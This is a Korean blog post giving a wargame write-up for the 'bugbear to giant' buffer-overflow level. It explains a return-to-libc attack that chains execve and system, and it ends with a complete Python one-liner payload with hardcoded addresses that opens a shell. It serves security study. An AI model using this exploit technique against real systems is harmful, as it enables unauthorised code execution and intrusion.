BOF redhat 원정대 bugbear -> gaint
gaint, gaint.c
코드를 보면 argv를 받고 라이브러리 주소와 함수의 오프셋값을 이용해서 execve함수의 주소값을 저장해 놓는다. 그리고 argv에서 44번째부터 4개가 execve함수의 주소가 맞는지 검사를 한다.
입력값에 execve함수의 주소만 맞추어 프로그램 종료 루틴으로 들어가지만 않게 되면 이전 문제에서 사용하였던 오메가 공격을 할 수 있다.
gdb로 execve 함수의 주소를 찾아보자.
execve, system함수의 주소를 찾았다. execve 함수를 사용하여 쉘을 실행하기엔 함수가 사용자 친화적이지 않기때문에 해줘야할 것이 많다. 그래서 system함수를 사용하여 쉘을 얻는 것이 쉽다.
페이로드는
[버퍼][SFP][RET]
[ 놉 ][execve][system][AAAA][bin/sh]
로 구성하고 공격을 수행하면
쉘을 얻을 수 있다.
쉘코드 :
./giant "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`"
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
프로그램은 실행하면서 많은 함수를 호출한다. 함수가 호출되고 호출받은 함수가 실행되려면 레지스터와 스택을 사용해야 한다. 버퍼오버플로우 공격을 공부하면서 호출된 함수가 어떻게 esp (스택을 관리하는 레지스터)를 백업하는지 어떻게 스택을 독립적으로 ...
-
$(HOME)/.gdbinit을 생성하면 gdb가 실행될 때 .gdbinit을 불러옴으로 스크립트를 적용시킬 수 있다. ARM 어셈을 처음다루어 라인바이라인으로 분석해 보기위해 몇 가지 스크립트를 작성하였다. .gdbinit ...
-
UBUNUT SSH 서버에 접속 시도를 하면 로그인이 성공하기 전에 뜨는 배너와 로그인이 성공한 후에 뜨는 메세지가 있다. id, pw를 입력하기 전에 뜨는 배너는 디폴트 값으로 /etc/issue.net 을 읽어온다. issue.net 안...
-
라이브러리 로딩 - ld.so.conf 라이브러리란 무엇인가? 프로그램에서 공통으로 사용할 수 있는 기능을 포함하고 있는 오브젝트 파일이다. 동적 라이브러리란 무엇인가? 프로그램을 컴파일하여 생성되는 바이너리에 포함하지 않고 바이너리가...
-
Calling Convection 함수호출규약 은 함수(subroutine, callee)가 어떻게 인자를 전달받고 결과값을 반환하는지에 대한 로우레벨에서의 규칙이다. 다양하게 구현된 함수호출규약들은 파라미터의 위치, 리턴 값이나 리턴 ...
환경변수 path에 /bin이 추가되있음에도 불구하고 execve() 함수의인자로 절대경로인 /bin/sh를 주는 이유는 execve()함수의 특성. system()는 sh만 인자로 줘도 실행된다.
답글삭제